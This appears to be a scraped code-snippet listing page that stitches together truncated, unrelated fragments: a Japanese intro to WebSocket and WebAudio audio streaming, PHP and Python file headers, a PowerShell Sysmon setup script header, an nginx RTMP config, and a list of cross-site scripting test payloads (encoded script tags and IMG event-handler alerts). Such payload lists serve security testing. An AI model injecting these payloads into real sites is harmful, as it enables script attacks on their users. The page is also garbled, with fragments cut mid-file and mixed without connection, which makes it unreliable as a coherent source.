WebRTCでやれよ!と言われそうなところですが、 WebSocket+WebAudioの組み合わせで音声ストリーミングをシンプルに構成する方法を紹介してみます。
サーバーサイドは何でも良いのですが、
とりあえずNode.jsでtest.mp3
というサンプルファイルをpcmモジュールでデコードし、
wsでクライアントに垂れ流す作りにしておきます。
%253Cscript%253Ealert('XSS')%253C%252Fscript%253E | |
<IMG SRC=x onload="alert(String.fromCharCode(88,83,83))"> | |
<IMG SRC=x onafterprint="alert(String.fromCharCode(88,83,83))"> | |
<IMG SRC=x onbeforeprint="alert(String.fromCharCode(88,83,83))"> | |
<IMG SRC=x onbeforeunload="alert(String.fromCharCode(88,83,83))"> | |
<IMG SRC=x onerror="alert(String.fromCharCode(88,83,83))"> | |
<IMG SRC=x onhashchange="alert(String.fromCharCode(88,83,83))"> | |
<IMG SRC=x onload="alert(String.fromCharCode(88,83,83))"> | |
<IMG SRC=x onmessage="alert(String.fromCharCode(88,83,83))"> | |
<IMG SRC=x ononline="alert(String.fromCharCode(88,83,83))"> |
<?php | |
/* | |
JSON Encode Pretty Print with horizontal alignment of colons | |
json_encode( $obj, JSON_PRETTY_PRINT | JSON_NUMERIC_CHECK) | |
{ | |
"title": "languages", |
#!/usr/bin/php | |
<?php | |
// Usage: /usr/bin/mysql DBNAME -u USERNAME -pPASSWORD -t -e "SELECT * FROM mytable" | tabulate | |
define ('MAX_ROW_WIDTH', 140); | |
define ('MAX_DATA_WIDTH', 100); | |
function convert ($table) { |
# ================================================ | |
# Sysmon & Windows Event Log Configuration Script | |
# ================================================ | |
# Check for administrative privileges | |
$currentUser = [Security.Principal.WindowsIdentity]::GetCurrent() | |
$principal = New-Object Security.Principal.WindowsPrincipal($currentUser) | |
if (-not $principal.IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { | |
Write-Host "This script requires administrative privileges. Please run as an administrator." -ForegroundColor Red | |
exit 1 |
#!/usr/bin/env python3 | |
# -*- coding: utf-8 -*- | |
# Version: 08-2024 | |
# Migrated to: https://github.com/mrjk/python_snippets/blob/main/examples/typer/cli-app-typer.py | |
"""MyApp CLI interface | |
This CLI provides a similar experience as the git CLI, but in Python with Typer. |
worker_processes 1; | |
error_log logs/error.log debug; | |
events { | |
worker_connections 1024; | |
} | |
rtmp { | |
server { | |
listen 1935; | |
allow play all; |
easyweb-italia | |
4764fbb159e067e22458285444e844c313f26d6d |
easyweb-italia | |
4764fbb159e067e22458285444e844c313f26d6d |